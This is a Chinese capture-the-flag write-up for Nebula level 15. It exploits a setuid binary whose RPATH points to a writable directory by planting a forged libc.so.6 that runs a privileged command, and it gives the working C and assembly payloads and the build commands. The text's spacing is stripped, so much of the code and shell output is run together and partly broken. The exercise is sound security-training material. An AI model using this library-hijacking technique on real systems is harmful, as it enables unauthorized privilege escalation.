Linux下的动态链接库包含漏洞推荐

说明

Nebula是一个用于Linux下提权漏洞练习的虚拟机,其第15关Level15提供了这样一个有漏洞的程序flag15

sh-4.2$ls-ltotal7-rwsr-x---1flag15level1571612011-11-2021:22flag15sh-4.2$whoamilevel15

要求利用该setuid程序的漏洞,从用户level15提权到用户flag15,执行/bin/getflag.

2. 漏洞挖掘

这道题是一个经典的动态链接库劫持题目,首先用strace观察flag15

execve("./flag15",["./flag15"],[/*19vars*/])=0brk(0)=0x880e000access("/etc/ld.so.nohwcap",F_OK)=-1ENOENT(Nosuchfileordirectory)5/i686/sse2/cmov/libc.so.6",O_RDONLY)=-1ENOENT(Nosuchfileordirectory)stat64("/var/tmp/flag15/i686/sse2/cmov",0xbfe0f594)=-1ENOENT(Nosuchfileordirectory)open("/var/tmp/flag15/i686/sse2/libc.so.6",O_RDONLY)=-1ENOENT(Nosuchfileordirectory)stat64("/var/tmp/flag15/i686/sse2",0xbfe0f594)=-1ENOENT(Nosuchfileordirectory)open("/var/tmp/flag15/i686/cmov/libc.so.6",O_RDONLY)=-1ENOENT(Nosuchfileordirectory)stat64("/var/tmp/flag15/i686/cmov",0xbfe0f594)=-1ENOENT(Nosuchfileordirectory)open("/var/tmp/flag15/i686/libc.so.6",O_RDONLY)=-1ENOENT(Nosuchfileordirectory)stat64("/var/tmp/flag15/i686",0xbfe0f594)=-1ENOENT(Nosuchfileordirectory)open("/var/tmp/flag15/sse2/cmov/libc.so.6",O_RDONLY)=-1ENOENT(Nosuchfileordirectory)stat64("/var/tmp/flag15/sse2/cmov",0xbfe0f594)=-1ENOENT(Nosuchfileordirectory)open("/var/tmp/flag15/sse2/libc.so.6",O_RDONLY)=-1ENOENT(Nosuchfileordirectory)stat64("/var/tmp/flag15/sse2",0xbfe0f594)=-1ENOENT(Nosuchfileopen("/var/tmp/flag15/libc.so.6",O_RDONLY)=3exit_group(63)=?

发现该程序链接到名为libc.so.6的动态链接库,但是/var/tmp目录对当前用户(level15)可写,因此可以在该目录下编写一个定制的libc.so.6,供程序flag15链接

我们进一步查看flag15的头信息,发现其确实依赖lib.so.6,并且使用RPATH编译,这表明flag15在运行时搜索包含动态链接库的路径/var/tmp/flag15,而且允许setuid执行(以LD_PRELOAD编译则不允许setuid执行).

sh-4.2$objdump-p/home/flag15/flag15/home/flag15/flag15:fileformatelf32-i386ProgramHeader:PHDRoff0x00000034vaddr0x08048034paddr0x08048034align2**2filesz0x00000120memsz0x00000120flagsr-xINTERPoff0x00000154vaddr0x08048154paddr0x08048154align2**0filesz0x00000013memsz0x00000013flagsr--LOADoff0x00000000vaddr0x08048000paddr0x08048000align2**12filesz0x000005d4memsz0x000005d4flagsr-xLOADoff0x00000f0cvaddr0x08049f0cpaddr0x08049f0calign2**12filesz0x00000108memsz0x00000110flagsrw-DYNAMICoff0x00000f20vaddr0x08049f20paddr0x08049f20align2**2filesz0x000000d0memsz0x000000d0flagsrw-NOTEoff0x00000168vaddr0x08048168paddr0x08048168align2**2filesz0x00000044memsz0x00000044flagsr--EH_FRAMEoff0x000004dcvaddr0x080484dcpaddr0x080484dcalign2**2filesz0x00000034memsz0x00000034flagsr--STACKoff0x00000000vaddr0x00000000paddr0x00000000align2**2filesz0x00000000memsz0x00000000flagsrw-RELROoff0x00000f0cvaddr0x08049f0cpaddr0x08049f0calign2**0filesz0x000000f4memsz0x000000f4flagsr--DynamicSection:NEEDEDlibc.so.6RPATH/var/tmp/flag15INIT0x080482c0FINI0x080484acGNU_HASH0x080481acSTRTAB0x0804821cSYMTAB0x080481ccSTRSZ0x0000005aSYMENT0x00000010DEBUG0x00000000PLTGOT0x08049ff4PLTRELSZ0x00000018PLTREL0x00000011JMPREL0x080482a8REL0x080482a0RELSZ0x00000008RELENT0x00000008VERNEED0x08048280VERNEEDNUM0x00000001VERSYM0x08048276VersionReferences:requiredfromlibc.so.6:0x0d6969100x0002GLIBC_2.0

3. 漏洞利用

剩下的事就是要在/var/tmp/flag15目录下编写我们定制的libc.so.6,劫持flag15,提权运行/bin/getflag.

首先要hook flag15运行时用到的函数,这里有两个点可供选择.一是通过gcc 的__attribute ((constructor))修饰符声明自己的函数,这个函数可以在linux动态链接库入口_init 函数之前完成提权功能;二是在int __libc_start_main函数中加入自己的提权功能.

使用第一种方法编写:

sh-4.2$catconstructor.c#include stdio.h void__attribute((constructor))init()system("/bin/getflag");}

编译

gcc-shared-fPIC-olibc.so.6constructor.c

第二种方法编写

sh-4.2$catshell.c#include unistd.h int__libc_start_main(int(*main)(int,char**,char**),intargc,char*argv,void(*init)(void),void(*fini)(void),void(*rtld_fini)(void),void*stack_end){system("/bin/getflag");}

编译

gcc-shared-fPIC-olibc.so.6shell.c

得到libc.so.6

然后执行

sh-4.2$/home/flag15/flag15/home/flag15/flag15:/var/tmp/flag15/libc.so.6:noversioninformationavailable(requiredby/home/flag15/flag15)/home/flag15/flag15:/var/tmp/flag15/libc.so.6:noversioninformationavailable(requiredby/var/tmp/flag15/libc.so.6)/home/flag15/flag15:/var/tmp/flag15/libc.so.6:noversioninformationavailable(requiredby/var/tmp/flag15/libc.so.6)/home/flag15/flag15:relocationerror:/var/tmp/flag15/libc.so.6:symbol__cxa_finalize,versionGLIBC_2.1.3notdefinedinfilelibc.so.6withlinktimereference

从上面提示的重定位错误,发现缺少一个_cxa_finalize函数,于是在上述两种方法中的constructor.c或者shell.c中都可以增加

void__cxa_finalize(void)return;}

修改constructor.c为contructor1.c,然后再次编译

sh-4.2$gcc-shared-fPIC-olibc.so.6contructor1.c

然后执行

sh-4.2$/home/flag15/flag15/home/flag15/flag15:/var/tmp/flag15/libc.so.6:noversioninformationavailable(requiredby/home/flag15/flag15)/home/flag15/flag15:/var/tmp/flag15/libc.so.6:noversioninformationavailable(requiredby/var/tmp/flag15/libc.so.6)/home/flag15/flag15:relocationerror:/var/tmp/flag15/libc.so.6:symbolsystem,versionGLIBC_2.0notdefinedinfilelibc.so.6withlinktimereference

上面提示又缺少GLIBC的version信息。于是我们提供一个version script在编译时使用

继续编译并执行

sh-4.2$catversionGLIBC_2.0{};sh-4.2$gcc-shared-fPIC-olibc.so.6contructor1.c-Wl,--version-script=versionsh-4.2$/home/flag15/flag15/home/flag15/flag15:relocationerror:/var/tmp/flag15/libc.so.6:symbolsystem,versionGLIBC_2.0notdefinedinfilelibc.so.6withlinktimereference

仍然提示出错,似乎在链接时没有找到system函数.下面也有两种方法来解决,一种是用静态链接库的方式编译来满足所有的依赖关系(why?),二是用汇编语言编写自己的system函数

第一种方法:

sh-4.2$gcc-fPIC-shared-static-libgcc-Wl,--version-script=version,-Bstatic-olibc.so.6contructor1.csh-4.2$/home/flag15/flag15Youhavesuccessfullyexecutedgetflagonatargetaccount/home/flag15/flag15:relocationerror:/home/flag15/flag15:symbol__libc_start_main,versionGLIBC_2.0notdefinedinfilelibc.so.6withlinktimereference

第二种方法:

sh-4.2$catshell.c#include unistd.h void__cxa_finalize(void*d){int__libc_start_main(int(*main)(int,char**,char**),intargc,char*argv,void(*init)(void),void(*fini)(void),void(*rtld_fini)(void),void*stack_end){system();}
sh-4.2$catsystem.s.section.text.globlsystemsystem:mov$getflag,%ebxxor%edx,%edxpush%edxpush%ebxmov%esp,%ecxmov$11,%eax;execve系统调用int$0x80.section.datagetflag:.ascii"/bin/getflag\0"sh-4.2$gcc-shared-fPIC-olibc.so.6shell.csystem.s-Wl,--version-script=versionsh-4.2$/home/flag15/flag15Youhavesuccessfullyexecutedgetflagonatargetaccount

个人认为编写shellcode的方法相对于静态链接库编译的方式更易于理解,目前自己还没有弄清楚为什么用静态链接的方式就能解决system函数的问题.

参考

www.pwntester.com/blog/2013/11/26/nebula-level15-write-up/

https://github.com/1u4nx/Exploit-Exercises-Nebula

旅行,其实是需要具有一些流浪精神的,

Linux下的动态链接库包含漏洞推荐

相关文章:

你感兴趣的文章:

标签云: